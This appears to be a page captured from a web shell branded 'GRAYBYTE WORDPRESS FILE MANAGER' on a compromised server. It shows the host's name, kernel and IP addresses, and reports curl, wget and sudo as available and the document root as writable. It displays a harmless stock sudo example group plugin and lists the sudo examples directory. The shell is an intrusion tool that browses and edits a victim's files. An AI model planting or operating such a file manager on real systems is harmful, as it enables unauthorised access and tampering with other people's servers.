✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/share/doc/sudo/examples//example_group_plugin.py
import sudo


class SudoGroupPlugin(sudo.Plugin):
    """Example sudo input/output plugin

    Demonstrates how to use the sudo group plugin API. Typing annotations are
    just here for the help on the syntax (requires python >= 3.5).

    On detailed description of the functions refer to sudo_plugin manual (man
    sudo_plugin).

    Most functions can express error or reject through their "int" return value
    as documented in the manual. The sudo module also has constants for these:
        sudo.RC.ACCEPT / sudo.RC.OK  1
        sudo.RC.REJECT               0
        sudo.RC.ERROR               -1
        sudo.RC.USAGE_ERROR         -2

    If the plugin encounters an error, instead of just returning sudo.RC.ERROR
    result code it can also add a message describing the problem.
    This can be done by raising the special exception:
        raise sudo.PluginError("Message")
    This added message will be used by the audit plugins.

    If the function returns "None" (for example does not call return), it will
    be considered sudo.RC.OK. If an exception other than sudo.PluginError is
    raised, its backtrace will be shown to the user and the plugin function
    returns sudo.RC.ERROR. If that is not acceptable, catch it.
    """

    # -- Plugin API functions --
    def query(self, user: str, group: str, user_pwd: tuple):
        """Query if user is part of the specified group.

        Beware that user_pwd can be None if user is not present in the password
        database. Otherwise it is a tuple convertible to pwd.struct_passwd.
        """
        hardcoded_user_groups = {
            "testgroup": ["testuser1", "testuser2"],
            "mygroup": ["test"]
        }

        group_has_user = user in hardcoded_user_groups.get(group, [])
        return sudo.RC.ACCEPT if group_has_user else sudo.RC.REJECT

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
27 May 2026 4.58 AM
root / root
0755
cvtsudoers.conf
3.489 KB
21 May 2026 1.23 AM
root / root
0644
example_approval_plugin.py
0.544 KB
21 May 2026 1.23 AM
root / root
0644
example_audit_plugin.py
3.298 KB
21 May 2026 1.23 AM
root / root
0644
example_conversation.py
4.038 KB
21 May 2026 1.23 AM
root / root
0644
example_debugging.py
3.619 KB
21 May 2026 1.23 AM
root / root
0644
example_group_plugin.py
1.801 KB
21 May 2026 1.23 AM
root / root
0644
example_io_plugin.py
5.342 KB
21 May 2026 1.23 AM
root / root
0644
example_policy_plugin.py
6.049 KB
21 May 2026 1.23 AM
root / root
0644
pam.conf
1.154 KB
21 May 2026 1.23 AM
root / root
0644
sudo.conf
4.254 KB
21 May 2026 1.23 AM
root / root
0644
sudoers
4.111 KB
21 May 2026 1.23 AM
root / root
0644
syslog.conf
1.05 KB
21 May 2026 1.23 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF